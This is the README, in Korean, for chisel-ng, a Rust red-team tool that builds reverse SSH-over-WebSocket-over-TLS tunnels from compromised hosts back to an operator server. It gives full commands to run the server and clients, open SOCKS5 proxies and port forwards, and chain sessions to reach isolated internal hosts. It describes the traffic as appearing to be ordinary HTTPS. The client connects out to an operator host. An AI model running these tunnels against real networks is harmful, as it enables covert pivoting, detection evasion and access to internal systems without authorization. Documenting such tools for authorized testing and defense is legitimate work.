
Chisel 차세대, Rust로 작성됨. 일부 커스터마이징이 적용된 WSS 기반 SSH.
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
침투 테스트 및 레드 팀 작전을 위한 chisel의 Rust 구현체입니다. SSH-over-WebSocket-over-TLS를 통해 역터널을 구축하여, 운영자가 정상 HTTPS 트래픽과 혼합되면서 손상된 호스트를 통해 피벗할 수 있도록 합니다.
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
바이너리는 target/release/에 출력됩니다: chisel-server, chisel-client, chisel-bind-client
1. 서버 시작 (운영자):
./chisel-server -p 'secret' -v
2. 클라이언트 실행 (대상):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. 터널 생성:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. 내부 서비스에 접근:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Operator | | Target Network |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (over TLS) | | (reverse) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
프로토콜 스택:
TCP -> TLS 1.3 -> WebSocket -> SSH -> Tunnel Data
^
appears as HTTPS
클라이언트 모드:
chisel-client) - 서버로 아웃바운드 연결chisel-bind-client) - 인바운드 수신 대기; 서버는 connect 명령 사용OPTIONS:
-l, --listen <ADDR> 수신 주소 [기본값: 0.0.0.0:8443]
-p, --psk <PSK> 사전 공유 키 또는 암호 [환경변수: CHISEL_PSK]
--cert <FILE> TLS 인증서 (PEM)
--key <FILE> TLS 개인 키 (PEM)
--generate-psk 무작위 PSK 생성 후 종료
-v, --verbose 상세 출력
OPTIONS:
-s, --server <ADDR> 서버 주소 (host:port)
-p, --psk <PSK> 사전 공유 키 또는 암호 [환경변수: CHISEL_PSK]
-u, --user <LABEL> 세션 레이블 [기본값: agent]
-k, --insecure TLS 인증 건너뛰기
--no-reconnect 자동 재연결 비활성화
-i, --interval <SECS> 재연결 간격 [기본값: 30]
--heartbeat <SECS> 하트비트 간격 [기본값: 30]
-v, --verbose 상세 출력
아웃바운드를 시작하지 않고 인바운드를 수락할 수 있는 대상의 경우:
OPTIONS:
-l, --listen <ADDR> 수신 주소 (예: 0.0.0.0:9000)
-p, --psk <PSK> 사전 공유 키 또는 암호 [환경변수: CHISEL_PSK]
-u, --user <LABEL> 세션 레이블 [기본값: agent]
-k, --insecure TLS 인증 건너뛰기
--heartbeat <SECS> 하트비트 간격 [기본값: 30]
-v, --verbose 상세 출력
메인 메뉴:
sessions 연결된 세션 목록
session <id> 세션 선택
connect <ip:port> 바인드 클라이언트에 연결
disconnect <id> 세션 연결 해제 (재연결됨)
kill <id> 클라이언트 프로세스 종료
세션 메뉴:
tunnel <local>:<target_ip>:<target_port> 터널 생성
tunnel --local <local>:<target>:<port> 터널 생성 (localhost 전용)
tunnel stop <port> 터널 중지
tunnels 터널 목록
socks5 <port> SOCKS5 프록시 시작
socks5 stop <port> SOCKS5 프록시 중지
ping 지연 시간 측정
ps 원격 프로세스 목록
netstat 원격 연결 목록
기존 세션을 체이닝하여 격리된 네트워크에 도달합니다.
시나리오: DMZ 호스트가 운영자에게 도달 가능. 내부 호스트(10.0.0.50)는 DMZ에서만 도달 가능.
+----------+ +-----------+ +------------+
| Operator |--SSH---| Session 1 |--TCP---| Session 2 |
| Server | | (DMZ) | | (INTERNAL) |
+----------+ +-----------+ +------------+
1단계 - 서버 시작 (운영자):
./chisel-server -p 'secret' -v
2단계 - 역방향 클라이언트 실행 (DMZ 호스트):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3단계 - 바인드 클라이언트 실행 (내부 호스트 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
4단계 - 터널 생성 및 연결 (서버 CLI):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
터널 생성 시 (tunnel 8080:192.168.1.100:80):
RFC 1928 핸드셰이크를 통한 동적 대상. 정확한 포트 스캐닝 결과를 위해 적절한 오류 코드 반환.
릴리스 빌드는 강화되어 있습니다:
--heartbeat 0으로 비활성화이 도구는 허가된 보안 테스트 목적으로만 사용됩니다. 사용 전에 적절한 승인을 받으십시오. 저자는 오용에 대해 책임을 지지 않습니다.
MIT